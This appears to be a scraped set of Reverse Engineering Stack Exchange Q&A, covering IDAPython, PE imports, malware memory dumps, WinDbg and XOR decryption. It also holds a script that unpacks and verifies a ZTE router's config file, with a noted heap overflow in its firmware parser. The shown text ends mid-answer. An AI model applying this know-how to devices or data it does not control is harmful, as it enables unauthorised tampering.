    \n" }, { "Id": "13383", "CreationDate": "2016-08-27T20:37:08.923", "Body": "

    How can I set a breakpoint and get the value of the EAX register with IDApython?

    \n\n

    I want to set a breakpoint, for example at address 00b27223, and at each break before execution of that specific address I want to get the value of the EAX register as text.

    \n\n

    \"example\"

    \n", "Title": "How can I set breakpoint and get value of a register with IDApython", "Tags": "|ida|debugging|idapython|debuggers|ida-plugin|", "Answer": "

    I can think of two methods to achieve this:

    \n\n
      \n
    1. Using RunTo.
      2. \n
    2. Setting a breakpoint, hooking debugger events and implementing dbg_bpt
      3. \n
    \n\n

    1. Using RunTo

    \n\n

    This is nearly trivial to do, but does not give the same amount of control as the second approach. It might be better for quick and dirty type of solutions, if that's what you're after.

    \n\n

    Calling idc.RunTo(ea) will execute the process until an ea is reached, allowing you to then call idc.GetRegValue(name) to get the value of EAX.

    \n\n

    Certain conditions (like an exception thrown or a different breakpoint being hit) will cause RutTo to return before the provided ea is reached. You could then call idc.GetDebuggerEvent to figure out what happened, but if you're gonna do that I suggest switching to the second approach.

    \n\n

    Note RunTo will also start up a process if there's no running process.

    \n\n

    2. Setting a breakpoint, hooking debugger events and implementing dbg_bpt

    \n\n

    This is the safer and would be my recommended approach, while being harder to implement it allows properly handling other breakpoints and more control.

    \n\n

    For this, you'll have to do three things:

    \n\n
      \n
    1. Set up a breakpoint at given address.
      2. \n
    2. Monitor for the breakpoint's trigger.
      3. \n
    3. And finally act upon it.
      4. \n
    \n\n

    Set up a breakpoint at given address

    \n\n

    The most basic method of achieving this is by calling the idc.AddBpt(ea), which sets a software on execution breakpoint at that address.

    \n\n

    Additional methods you could use include:

    \n\n
      \n
    1. idc.AddBptEx(ea, size, bpttype) to have more control on the type of breakpoint you're creating.
      2. \n
    2. idc. SetBptAttr(address, bptattr, value) to set the breakpoint's available attributes.
      3. \n
    3. idc.SetBptCnd(ea, cnd) / idc. SetBptCndEx(ea, cnd, is_lowcnd) to set the breakpoint's trigger condition.
      4. \n
    \n\n

    Read the documentation for the exact details.

    \n\n

    Monitor for the breakpoint's trigger

    \n\n

    For that, you'll need to install a Debugger Hooking class (any class that inherits idaapi.DBG_Hooks), which implements the dbg_bpt(tid, ea) method, which describe the thread id and linear address in which the breakpoint triggered. Returning 0 from dbg_bpt should prevent IDA from notifying the user it was triggered (assuming you'll handle it internally).

    \n\n

    You'll have to instantiate your class and call the instance's Hook and Unhook methods for it to actually function. Please note it's better practice to install the hooks before creating the breakpoint.

    \n\n

    And finally act upon it

    \n\n

    While the debugger is running, you can call idc.GetRegValue(name) providing the register name to receive it's immediate value at that time.

    \n" }, { "Id": "13385", "CreationDate": "2016-08-28T04:13:30.167", "Body": "

    I want to know how to find out if an imported function in a PE header is being imported by ordinal rather than by name because I came across an executable that does that. Here is the DLL that imports all functions by ordinal except for one (from WS2_32.dll):

    \n\n

    Screenshot from program called ExeinfoPE\n\"enter

    \n\n

    This is what I'm doing to get to the imports:

    \n\n
      \n
    1. Read the PE header.
      2. \n
    2. Loop over data directories and find IMAGE_DIRECTORY_ENTRY_IMPORT.
      3. \n

    3. Once IMAGE_DIRECTORY_ENTRY_IMPORT is found, loop over IMAGE_IMPORT_DESCRIPTORS.

      4. \n

    4. On each IMAGE_IMPORT_DESCRIPTORS, extract all the functions.

      5. \n
    \n\n

    Here is how I extract the functions (only works for functions imported by name):

    \n\n
    void extractFunctions(IMAGE_IMPORT_DESCRIPTOR dll, uintptr_t sectionStartAddrRaw) {\n    uintptr_t selectedFunctionImport = dll.Characteristics + sectionStartAddrRaw;\n    uintptr_t selectedFunctionImportIAT = dll.FirstThunk + sectionStartAddrRaw;\n\n    while (true) {\n        IMAGE_THUNK_DATA thunkPtrToImportByName = *(IMAGE_THUNK_DATA*)selectedFunctionImport;\n        selectedFunctionImport += sizeof(IMAGE_THUNK_DATA); //Next loop we'll loop over to the next IMAGE_THUNK_DATA.\n        if (thunkPtrToImportByName.u1.Function == NULL) { //Check if we need to exit the looping since there are no more functions to import.\n            break;\n        }\n\n        IMAGE_IMPORT_BY_NAME* functionImport = (IMAGE_IMPORT_BY_NAME*)(thunkPtrToImportByName.u1.Function + sectionStartAddrRaw);\n\n        Function function;\n        function.name = std::string(functionImport->Name); //Access violation here if the function needs to be imported by ordinal, instead of by name.\n        function.locationInIAT = selectedFunctionImportIAT;\n        function.locationInOriginalIAT = selectedFunctionImportIAT - sectionStartAddrRaw + header.OptionalHeader.ImageBase;\n\n        selectedFunctionImportIAT += sizeof(IMAGE_THUNK_DATA);\n        dlls.back().functions.push_back(function); //We assume that IMAGE_IMPORT_DESCRIPTOR dll is the last one in the dlls vector.]\n    }\n}\n
    \n\n

    I noticed that every function Hint/Ordinal inside ExeinfoPE that is imported by name is 0. However, in my code functionImport->Hint is always set to something, regardless if the function is supposed to be imported by name or ordinal.

    \n\n

    The IMAGE_IMPORT_DESCRIPTOR cannot have information on whether the functions inside that IMAGE_IMPORT_DESCRIPTOR are imported by ordinal or name, since one of the functions is imported by name and all of the others are imported by ordinal. So, I'm all out of ideas here.

    \n\n

    Here are the data structures I'm using for your reference so no need to Google:

    \n\n
    typedef struct _IMAGE_THUNK_DATA {\n    union {\n        uint32_t* Function;             // address of imported function\n        uint32_t  Ordinal;              // ordinal value of function\n        PIMAGE_IMPORT_BY_NAME AddressOfData;        // RVA of imported name\n        DWORD ForwarderStringl              // RVA to forwarder string\n    } u1;\n} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;\n\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR {\n    union {\n        DWORD   Characteristics; /* 0 for terminating null import descriptor  */\n        DWORD   OriginalFirstThunk; /* RVA to original unbound IAT */\n    } DUMMYUNIONNAME;\n\n    DWORD   TimeDateStamp;  /* 0 if not bound,\n    * -1 if bound, and real date\\time stamp\n    *    in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT\n    * (new BIND)\n    * otherwise date/time stamp of DLL bound to\n    * (Old BIND)\n    */\n    DWORD   ForwarderChain; /* -1 if no forwarders */\n    DWORD   Name;\n    /* RVA to IAT (if bound this IAT has actual addresses) */\n    DWORD   FirstThunk;\n} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;\n\ntypedef struct _IMAGE_IMPORT_BY_NAME {\n    WORD    Hint;\n    BYTE    Name[1];\n} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;\n
    \n", "Title": "How to know if PE Header import function is being imported by Ordinal rather than by name", "Tags": "|windows|pe|", "Answer": "

    Extracted from http://www.pelib.com/:

    \n\n
    \n

    First, the bit IMAGE_ORDINAL_FLAG (that is: the MSB) of the\n IMAGE_THUNK_DATA in the arrays can be set, in which case there is no\n symbol-name-information in the list and the symbol is imported purely by\n ordinal. You get the ordinal by inspecting the lower word of the\n IMAGE_THUNK_DATA.

    \n \n

    IMAGE_THUNK_DATA-array; walk down this array (it is be\n 0-terminated), and each member will be the RVA of a\n IMAGE_IMPORT_BY_NAME (unless the hi-bit is set in which case you\n don't have a name but are left with a mere ordinal).

    \n
    \n\n

    A more detailed explanation extracted from a volatility plugin (lines 363-367):

    \n\n
    350  while 1:\n351      thunk = obj.Object('_IMAGE_THUNK_DATA',\n352                 offset = self.obj_parent.DllBase + self.OriginalFirstThunk +\n353                 i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),\n354                 vm = self.obj_native_vm)\n\n355      # We've reached the end when the element is zero \n357      if thunk == None or thunk.AddressOfData == 0:\n358          break\n359      o = obj.NoneObject(\"Ordinal not accessible?\")\n361      n = obj.NoneObject(\"Imported by ordinal?\")\n362      f = obj.NoneObject(\"FirstThunk not accessible\")\n\n363      # If the highest bit (32 for x86 and 64 for x64) is set, the function is \n365      # imported by ordinal and the lowest 16-bits contain the ordinal value. \n366      # Otherwise, the lowest bits (0-31 for x86 and 0-63 for x64) contain an \n367      # RVA to an _IMAGE_IMPORT_BY_NAME struct. \n368      if thunk.OrdinalBit == 1:\n369          o = thunk.Ordinal & 0xFFFF\n370      else:\n371          iibn = obj.Object(\"_IMAGE_IMPORT_BY_NAME\",\n372                            offset = self.obj_parent.DllBase +\n373                            thunk.AddressOfData,\n374                            vm = self.obj_native_vm)\n375          o = iibn.Hint\n376          n = iibn.Name\n377      # See if the import is bound (i.e. resolved)\n379      first_thunk = obj.Object('_IMAGE_THUNK_DATA',\n380                      offset = self.obj_parent.DllBase + self.FirstThunk +\n381                      i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),\n382                      vm = self.obj_native_vm)\n383      if first_thunk:\n384          f = first_thunk.Function.v()\n385      yield o, f, str(n or '')\n387      i += 1\n
    \n" }, { "Id": "13388", "CreationDate": "2016-08-28T07:38:43.553", "Body": "

    I am analyzing a binary that is injecting code into another process (i.e., svchost.exe) to make the debugging more tedious. I can attach the new process to a debugger (e.g., ollydbg or the one featured by IDA Pro) and read the assembly code. However, I was wondering whether it is possible or not to take like a snapshot of this so I can later on analyze the code offline (as any other binary).

    \n\n

    Thanks!

    \n", "Title": "Save injected code", "Tags": "|debugging|injection|memory-dump|", "Answer": "

    So your definition of a \"snapshot\" is somewhat vague. Hopefully my answer matches your idea:

    \n\n

    Did you already take a look at the OllyDumpEx Plugin?

    \n\n
    \n

    This plugin is process memory dumper for OllyDbg and Immunity\n Debugger. Very simple overview: OllyDumpEx = OllyDump + PE Dumper -\n obsoleted + useful features

    \n
    \n\n

    Of course you can simply dump the raw memory as described here with \nollydbg itself.

    \n" }, { "Id": "13391", "CreationDate": "2016-08-29T10:39:29.763", "Body": "

    I just got a Zte ZXHN F660 GPON ONT Wireless router with my optic fiber internet provided by my telecom provider.

    \n

    My first discovery was that the eth Lan ports are bricked wich\nmeans I can only use one Lan at time and there's a telnet default user and password i cannot remove or change - well i can do but only provisory:
    I was able to bypass the problem using telnet and busybox console but the fix is provisory unfortunately. Each time the router reboots the old config gets installed, wich is normal I think.

    \n

    I decided to investigate a bit more and made a config backup threw the webui wich gives me a .bin file. Using binwalk i saw that there is 3 data blocks compressed with zlib. I made a quick and dirty script in python to unpack them and concatenate them in a XML file wich provides all the router's setup.

    \n

    I managed to modify and repack it, but here's the problem: the header contain some informations that make the config upgrade fail each time. With an hex editor I noticed that before each compressed zlib block there is the hex values of the pack inflated and deflated, so I was able to correct them. There's also in the header a CRC32 of the concatenation of each zlib compressed packs without headers, so I was also able to correct it when I repack the new file.
    But next to it there's what I believe is an other CRC32, but I can't find out what that CRC32 is about so any help is welcome to this point.

    \n

    I've downloaded the httpd and cspd files from my router and try to disassemble them using IDA, but the loops I find in gives me the seasick and it's beyond my actual skills so that would be great to get some help and explaination about how to repack the xml file into the bin file.

    \n

    Thanks for any help or advice.

    \n

    Here the first offsets of my dummy config.bin file:

    \n
    Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n00000000  04 03 02 01 00 00 00 00 00 00 00 04 46 36 36 30  ............F660\n00000010  01 02 03 04 00 00 00 00 00 02 37 AB 00 00 36 79  ..........7\u00ab..6y\n00000020  00 01 00 00 97 10 5B C9 6E 6F 53 12 00 00 00 00  ....\u2014.[\u00c9noS.....\n00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................\n00000050  00 00 16 B8 00 00 17 00 78 DA ED 3D 5B 77 DB 38  ...\u00b8....x\u00da\u00ed=[w\u00db8\n00000060  73 EF FD 15 69 DA 3E 75 D7 E6 4D F4 E5 7C DB 53  s\u00ef\u00fd.i\u00da>u\u00d7\u00e6M\u00f4\u00e5|\u00dbS\n00000070  99 94 1D 9D 95 14 46 94 AD AF FB E2 03 53 B0 CC  \u2122\u201d..\u2022.F\u201d.\u00af\u00fb\u00e2.S\u00b0\u00cc\n00000080  13 1A 64 49 CA 97 FD F5 05 A8 1B 05 02 20 48 C9  ..dI\u00ca\u2014\u00fd\u00f5.\u00a8... H\u00c9\n00000090  B2 94 D2 49 6C 47 33 04 06 83 B9 01 1C 60 FE 61  \u00b2\u201d\u00d2IlG3..\u0192\u00b9..`\u00fea\n000000A0  5F FD D7 BF FC 63 F4 10 7C 41 E0 19 FE F1 D5 BE  _\u00fd\u00d7\u00bf\u00fcc\u00f4.|A\u00e0.\u00fe\u00f1\u00d5\u00be\n000000B0  BA 02 09 FC FA 65 18 BE 5A E1 0C A5 7F 7C 55 BF  \u00ba..\u00fc\u00fae.\u00beZ\u00e1.\u00a5.|U\u00bf\n000000C0  62 04 FC DF 2F 83 F0 8F AF 0A F9 8F DD 5F 20 77  b.\u00fc\u00df/\u0192\u00f0.\u00af.\u00f9.\u00dd_ w\n000000D0  AF BB E8 31 FC FA E5 05 04 18 A4 E2 3F 9A A2 64  \u00af\u00bb\u00e81\u00fc\u00fa\u00e5...\u00a4\u00e2?\u0161\u00a2d\n000000E0  FF 94 EC 67 DB 30 F0 67 F8 CB 50 8C 6B F2 F3 EB  \u00ff\u201d\u00ecg\u00db0\u00f0g\u00f8\u00cbP\u0152k\u00f2\u00f3\u00eb\n000000F0  29 7E FC 14 37 46 7E E0 4E 37 BA 1E B7 07 76 BE  )~\u00fc.7F~\u00e0N7\u00ba.\u00b7.v\u00be\n00000100  63 8D DF F1 9D 0F 5F 07 F8 B7 45 D7 DD 1B FB 64  c.\u00df\u00f1.._.\u00f8\u00b7E\u00d7\u00dd.\u00fbd\n00000110  6C AB 59 EB 2B 1C D2 DC E8 3D 5A E2 18 05 A8 65  l\u00abY\u00eb+.\u00d2\u00dc\u00e8=Z\u00e2..\u00a8e\n00000120  5B 20 F2 FC F4 7D 81 41 3D 3F 8A FD E9 14 C6 1D  [ \u00f2\u00fc\u00f4}.A=?\u0160\u00fd\u00e9.\u00c6.\n00000130  04 1E 02 B8 81 B2 18 C0 92 34 B5 9C 34 4D 48 9A  ...\u00b8.\u00b2.\u00c0\u20194\u00b5\u01534MH\u0161\n
    \n

    Here a copy of a dummy config.bin, cspd and httpd files of my router:

    \n

    config.bin,cspd,httpd files

    \n", "Title": "Zte Reverse engineering config.bin file problem", "Tags": "|ida|disassembly|binary-analysis|unpacking|packers|", "Answer": "

    The second CRC is the CRC of the header started from 0x10 to 0x28. The following script checks the config file based on the dbcCfgFileDecry function, which verify and decompress the config file from offset 0x10.

    \n\n
    import sys\nimport binascii\nimport struct\nimport zlib\n\nif (len(sys.argv) < 1):\n    print 'usage: check_config.py config_file'\n\ncf = open(sys.argv[1], 'rb')\nh = cf.read(0x4c)\n\n#--------------------\n# read the header\nif (h[0:4] != '\\x04\\x03\\x02\\x01'):\n    print 'Invalid magic'\n    sys.exit(-1)\n\nif (h[0x10:0x14] != '\\x01\\x02\\x03\\x04'):\n    print 'Invalid magic'\n    sys.exit(-1)\n\nh2 = h[0x10:]\nhcrc_calc = binascii.crc32(h2[0:0x18])&0xffffffff\nhcrc_store = struct.unpack('!L', h2[0x18:0x1c])[0]\nprint 'calc: %x - stored: %x'%(hcrc_calc, hcrc_store)\nif (hcrc_calc != hcrc_store):\n    print 'Invalid header CRC'\n    sys.exit(-2)\n\nblock_buffer_size = struct.unpack('!L', h2[0x10:0x14])[0]\n# used to allocate memory for temp buffers\nprint 'block buffer size: %x'%(block_buffer_size)\n\n#--------------------\n# read the blocks\nfout = open('%s.xml'%(sys.argv[1]), 'wb')\ncumulate_crc = 0\nwhile (True):\n    bheader = cf.read(0x0c)\n    if (len(bheader) == 0):\n        break\n    block_size = struct.unpack('!L', bheader[0x04:0x08])[0]\n    print 'block size: %x'%(block_size)\n\n    # read the whole block to previously allocated buffer\n    # Possible heap based buffer overflow, because the size was not checked in\n    # the dbcCfgFileDecry function!\n    block = cf.read(block_size)\n    cumulate_crc = binascii.crc32(block, cumulate_crc)&0xffffffff\n    decompressed = zlib.decompress(block)\n    fout.write(decompressed)\n\nstored_cumulate_crc = struct.unpack('!L', h2[0x14:0x18])[0]\nprint 'cumulate crc: calc: %x - stored: %x'%(cumulate_crc, stored_cumulate_crc)\nif (cumulate_crc != stored_cumulate_crc):\n    print 'Invalid cumulate CRC'\n    sys.exit(-3)\n\ncf.close()\nfout.close()\n
    \n\n

    As a side note, the dbcCfgFileDecry function contains a heap-based buffer overflow vulnerability, because it did not check whether the current block will fit into the allocated buffer.

    \n" }, { "Id": "13398", "CreationDate": "2016-08-30T14:07:11.937", "Body": "

    Few weeks ago, I started reverse engineering libraries and binaries from a commercial copyrighted product (a game). And, I would like to post the code on an open source platform like GitHub.

    \n

    I've searched a lot on the Internet, and found that in some cases it was legal to share the reversed-material, and in other cases illegal.

    \n

    Is it legal to post reverse-engineered code from a copyrighted product on an open source platform?

    \n", "Title": "Is reverse engineering legal?", "Tags": "|decompilation|law|", "Answer": "

    Disclaimer: IANAL. Usually the answer is \u201cit depends.\u201d Are you creating a derivative commercial game? Probably it is not so legal. Are you doing that to be \u201ccompatible\u201d with that game? It's legal. Are you just researching the internals of the game? It's legal.

    \n

    For example: I know people who ported game engines by reverse engineering and even copying parts by decompilation & adaptation and, except when they tried to distribute copyrighted things (libraries, graphics, etc\u2026), it was considered legal. Also, please remember that if you're using, say, SAMBA in MacOSX/Linux or Open/LibreOffice, you're actually using code that was reverse engineered from their commercial counterparts and published in open source codes.

    \n

    In short: derivative products or anything with the aim of damaging a company or getting an economic benefit, is probably not so legal. Research, compatibility and porting is.

    \n" }, { "Id": "13400", "CreationDate": "2016-08-30T18:28:39.583", "Body": "

    I was working with a RTF file and I found the string \"otkloadr.WRAssembly.1\" present inside the file in plain sight.

    \n\n

    I know that many exploits use this for loading the msvcr71.dll (non-ASLR module).

    \n\n

    My suspicion is the file I'm working with is malicious. Does this have any good use inside a office file or is just plain malicious?

    \n", "Title": "Why is otkloadr.WRAssembly.1 reference present in a office file?", "Tags": "|malware|exploit|software-security|msvc|", "Answer": "

    Since RTF is a mostly textual file format, noticing plaintext strings in it is not unheard of, and shouldn't be treated as cause for suspicion.

    \n\n

    otkloadr.dll is a library used for Visual Studio / office integration, as part of a package called \"Microsoft Visual Studio Tools for the Microsoft Office System\".

    \n\n

    That package is used to incorporate Visual Studio components inside Office documents (such as rtf files), and to generate/manipulate Office files programmatically from within Microsoft development environments.

    \n\n

    It might be used in an rtf document generated automatically directly by Microsoft-provided development tools or by a third party tool using Microsoft's office integration library (most third party office related manipulation tools are using this internally, and usually simply provide a different interface, probably in a different programming language).

    \n\n

    It might also be used in an rtf using one of the advanced features \"Microsoft Visual Studio Tools for the Microsoft Office System\" brought into Office, or was converted from a newer format that did.

    \n\n

    Inspecting the file format is needed to reach these conclusions with a higher degree of certainty. Since RTF is as mentioned a textual format this shouldn't be too complicated. Additionally, googling for RTF file parser yields multiple promising results.

    \n" }, { "Id": "13405", "CreationDate": "2016-09-01T08:13:33.450", "Body": "

    Do someone know a windbg command to display the RVA of a certain instruction within it's module?

    \n\n

    Right now, if I want to find the RVA of the current instruction, let's say, the RVA of that test eax, eax:

    \n\n
    16237915 8b4e0c          mov     ecx,dword ptr [esi+0Ch]\n16237918 e8633ff0ff      call    NPSWF32!BrokerMainW+0x1b0a4 (1613b880)\n1623791d 85c0            test    eax,eax\n1623791f 7507            jne     NPSWF32!BrokerMainW+0x11714c (16237928)\n16237921 8bce            mov     ecx,esi\n16237923 e80838fdff      call    NPSWF32!BrokerMainW+0xea954 (1620b130)\n16237928 8b4810          mov     ecx,dword ptr [eax+10h]\n
    \n\n

    I have to find first the base address of the module:

    \n\n
    0:000> lm a 1623791d \nBrowse full module list\nstart    end        module name\n15c70000 16b53000   NPSWF32    (export symbols)     \n
    \n\n

    And calculate the RVA myself:\n1623791d - 15c70000 = 5C791D

    \n\n

    My question, is there a windbg command that will give me this result immediately.

    \n\n

    Thanks in advance!

    \n", "Title": "WinDbg - RVA of current instruction", "Tags": "|disassembly|windows|debugging|debuggers|windbg|", "Answer": "

    put this is some txt file and save it somewhere like c:\\myrva.txt

    \n\n
    .foreach ( place { lm1ma ${$arg1} } ){ .printf \"Rva for input is %x\\n\", ${$arg1}-${place} }\n
    \n\n

    and use it like

    \n\n
    0:000> $$>a< c:\\\\rva.txt @edx\nRva for input is 470b4\n0:000> ? edx\nEvaluate expression: 1997238452 = 770b70b4\n0:000> $$>a< c:\\\\rva.txt .\nRva for input is a04fa\n0:000> ? .\nEvaluate expression: 1997604090 = 771104fa\n0:000> $$>a< c:\\\\rva.txt 7711050a\nRva for input is a050a\n
    \n\n

    Well if you think this should be a regular windbg command you can write your own extension
    \nand do !rva
    \nwith engextcpp framework this should take no more than 5 lines of code as below

    \n\n
    #include <engextcpp.cpp>\nclass EXT_CLASS : public ExtExtension {\npublic:\n    EXT_COMMAND_METHOD(rva);\n};\nEXT_DECLARE_GLOBALS();\nEXT_COMMAND( rva, \"rva\", \"{;e,d=@$ip;!rva;}\" ) {\n    ULONG64 inaddr = GetUnnamedArgU64 (0);\n    ULONG ModIndex = NULL;\n    ULONG64 Modbase = NULL;\n    m_Symbols->GetModuleByOffset(inaddr,0,&ModIndex,&Modbase);\n    Out(\"Rva For Inaddress %I64x is %I64X\\n\" ,inaddr ,(inaddr - Modbase));    \n}\n
    \n\n

    compiled and linked with

    \n\n
    cl /LD /nologo /W4 /Ox  /Zi /EHsc rva.cpp /link /EXPORT:DebugExtensionInitialize /Export:rva /Export:help /RELEASE %linklibs%\n
    \n\n

    and execute happily it takes one argument an expression and by default the expression is current instruction pointer viz $ip

    \n\n

    extension auto loaded during start of session

    \n\n
    windbg -c \".load rva\" calc\n
    \n\n

    and happy rvaing for ever

    \n\n
    0:000> !rva\nRva For Inaddress 776e04f6 is A04F6\n0:000> !rva @edx\nRva For Inaddress 776870b4 is 470B4\n0:000> !rva ntdll\nRva For Inaddress 77640000 is 0\n0:000> !rva calc\nRva For Inaddress 440000 is 0\n0:000> !rva calc!WinMain\nRva For Inaddress 441635 is 1635\n\neven some obscure unrealistic expression will work\n0:000> !rva @@c++( ( @$proc )->Ldr)\nRva For Inaddress 77717880 is D7880\n
    \n" }, { "Id": "13408", "CreationDate": "2016-09-01T23:09:10.903", "Body": "

    Recently I worked on a Linux program which has all of its symbols stripped. Opening it with IDA resulted in none of its functions identified.

    \n\n

    Thus I tried to extract any usable information from the executable file with the strings and file commands, but these sadly found nothing.

    \n\n

    I know about the FLIRT technology in IDA, but it is based on knowing the version of the static library so it can use the correct signature file. In this case it seems we have no any version information for the used glibc or other libraries, so what should we do now?

    \n\n
    $ file stripped\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped\n
    \n\n

    With the outpuf of file as shown above, can I retrieve more details from this? Or is the solution that we can only recognize it via our experience?

    \n", "Title": "Recognize the library functions of statically linked executable file in IDA Pro", "Tags": "|binary-analysis|malware|linux|elf|", "Answer": "

    Yet there is statistics, which can be used to find the basic library functions from which you'll be able to find other functions. E.g. there's almost a zero probability that the code doesn't allocate any memory and doesn't do any string manipulation. So you can count XREFS to all the functions and be sure that those which are called most(and called from all the parts of the binary) are the library functions. After you know where is malloc, you can find free, after you have malloc and free you can find other library functions which use malloc/free.\nSo, if you're ready to spend your time, you can find library functions yourself.

    \n" }, { "Id": "13409", "CreationDate": "2016-09-01T23:09:12.457", "Body": "

    It's been 4 nights I'm struggling decompiling this one. It's an Android native library that I ran through IDA to get C code.

    \n\n

    Java signature :

    \n\n
    byte[] resultArray = new byte[-2 + dataArray.length];\ndataLength= dataArray.length;\ndecryptData(byte[] resultArray, byte[] dataArray, int dataLength, int enumValue /* in our case should be 01 */, long paramLong /* dunno */)\n
    \n\n

    The disassembly in C :

    \n\n
    //----- (00001354) --------------------------------------------------------\nint __fastcall doXor(int result, int a2, int a3, int a4, int a5, int a6, char a7)\n{\n  int v7; // r5@1\n  int v8; // r6@1\n  int v9; // r7@1\n  int v10; // r1@1\n  char v11; // lr@3\n  char v12; // t1@3\n  char v13; // t1@3\n\n  v7 = a2 - 1;\n  v8 = a3 - 1;\n  v9 = result - 1;\n  v10 = a2 + a5 - 1;\n  while ( v7 != v10 )\n  {\n    v12 = *(_BYTE *)(v7++ + 1);\n    v11 = v12;\n    v13 = *(_BYTE *)(v8++ + 1);\n    *(_BYTE *)(v9++ + 1) = v11 ^ v13;\n  } // ====== so far this one just does a xor in the full array\n  //   ===>what does this one do?\n  *(_BYTE *)(result + a5) = *(_BYTE *)(a3 + a5) ^ a7;\n\n  return result;\n}\n\n//----- (00001384) --------------------------------------------------------\nint getNumber()\n{\n  __int32 v0; // r0@1\n\n  v0 = time(0);\n  srand48(v0);\n  return (unsigned __int8)lrand48();\n}\n\n//----- (00001398) --------------------------------------------------------\nint __fastcall getKey(void *a1, unsigned int a2, unsigned __int8 a3, int a4, char a5)\n{\n  void *v5; // r8@1\n  unsigned int v6; // r7@1\n  unsigned int v7; // r10@1\n  void *v8; // r5@1\n  __int64 v9; // r0@1\n  signed int v10; // r6@1\n  __int64 v12; // [sp+8h] [bp-30h]@1\n  int v13; // [sp+14h] [bp-24h]@1\n\n  v5 = a1;\n  v6 = a2;\n  v7 = a2 >> 3;\n  v8 = a1;\n  v13 = _stack_chk_guard; //a stack guard\n  LODWORD(v9) = crc64(a3, (int)&a5, _stack_chk_guard, 8);\n  v10 = 0;\n  v12 = v9;\n  do\n  {\n    ++v10;\n    if ( 8 * v10 > v6 )\n    {\n      if ( v6 >= 8 * v10 - 8 )\n        LODWORD(v9) = memcpy(v8, &v12, (size_t)((char *)v5 + v6 - (_DWORD)v8));\n    }\n    else\n    {\n      v9 = v12;\n      *(_QWORD *)v8 = v12;\n    }\n    v8 = (char *)v8 + 8;\n  }while ( v10 <= (signed int)v7 );\n  if ( v13 != _stack_chk_guard )\n    _stack_chk_fail(v9);\n  return v9;\n}\n\n\n//----- (000014E4) --------------------------------------------------------\nsigned int __fastcall decryptData(void *a1, unsigned int *a2, int a3, int a4, __int64 a5)\n{\n  int v5; // r4@1\n  void *v6; // r11@1\n  unsigned int *v7; // r10@1\n  unsigned int v8; // r7@3\n  int v9; // r9@3\n  int v10; // ST10_4@3\n  void *v11; // r8@3\n  const void *v12; // r5@3\n  int v13; // r6@3\n  signed int result; // r0@5\n\n  v5 = a3;\n  v6 = a1;\n  v7 = a2;\n  if ( check == 1 )\n  {\n    if ( a5 )\n    {\n      result = 0;\n    }\n    else\n    {\n      v8 = *(_BYTE *)a2;\n      v9 = a4 + v8;\n      v10 = *((_BYTE *)a2 + a3 - 1);\n      v11 = malloc(a3 - 1);\n      v12 = malloc(v5 - 1);\n      getKey(v11, (unsigned __int16)(v5 - 1), v9, (2596069104u * (unsigned __int64)v8 >> 32) + 305419896 * v8, -16 * v8);\n      v13 = v5 - 2;\n      doXor((int)v12, (int)((char *)v7 + 1), (int)v11, v10, v13, (unsigned __int64)v13 >> 32, v10);\n      memcpy(v6, v12, v5 - 2);\n      if ( *((char *)v12 + v5 - 2) != v9 )\n        v13 = 0;\n      if ( v11 )\n        free(v11);\n      free((void *)v12);\n      result = v13;\n    }\n  }\n  else\n  {\n    result = -1;\n  }\n  return result;\n}\n
    \n\n

    I have the implementation of crc64.\nWhat I fail to understand is where does it get the seed from the data array for the getKey.

    \n\n

    I'm not sure, I think it stores in the last 2 bytes the key that is used to generated the bigger key for xor. Please help, I'm really struggling and my C skills are a rusty.

    \n\n

    Here is a set of data :

    \n\n
    $type = \"01\";\n$length = \"37\";\n$data=\"ea8bf72287a0af8aa65edf259a43\".\n\"e1d8a67f71bce448273199848e401b33\".\n\"da379966a12ce4442e31991b71bde449\".\n\"39bb907d71bce448cc\";\n
    \n\n

    Normally, first 8 bytes gives the latitude and second longitude which in this case is :\nf8869e63e888bb3f29ae997e0bc6e93f

    \n\n

    So basically I assume we can expect this to be the coded version :\nea8bf72287a0af8aa65edf259a43e1d8\nThe inverse of xor is a xor so after xor it gives :\n120d69416f2814b58ff0465b918508e7

    \n\n

    Which hypothetically is our partial xor key.

    \n\n

    Now questions :

    \n\n\n\n

    If you want to help outside stack and discuss this please contact me.\nMany thanks

    \n", "Title": "Help me reverse this", "Tags": "|decompilation|c|decryption|xor|", "Answer": "\n\n

    Here's your code with names given to most variables. That's quite a bit of code so I'll try to only iterate the important parts. I also added a few comments in the code to help reading, although I didn't try to cover all code with comments. Make sure you go over the named parameters, I believe those will help you understand the code quickly. Viewing the code in a syntax highlighting editor will also help (couldn't get SO to highlight).

    \n\n

    Please add a comment about anything that's not clear enough.

    \n\n

    the NI prefix is my initials, you can ignore it.

    \n\n

    First, doXor:

    \n\n

    This function simply XORs all bytes except the last byte, which is treated a bit differently, but more on that later. This is not part of the while loop simply because it's recevied differently in doXor. A possible reasoning behind this is to force any user of doXor to explicitly deal with this value, as it's somewhat important for asserting the validity of the decrpyed message.

    \n\n
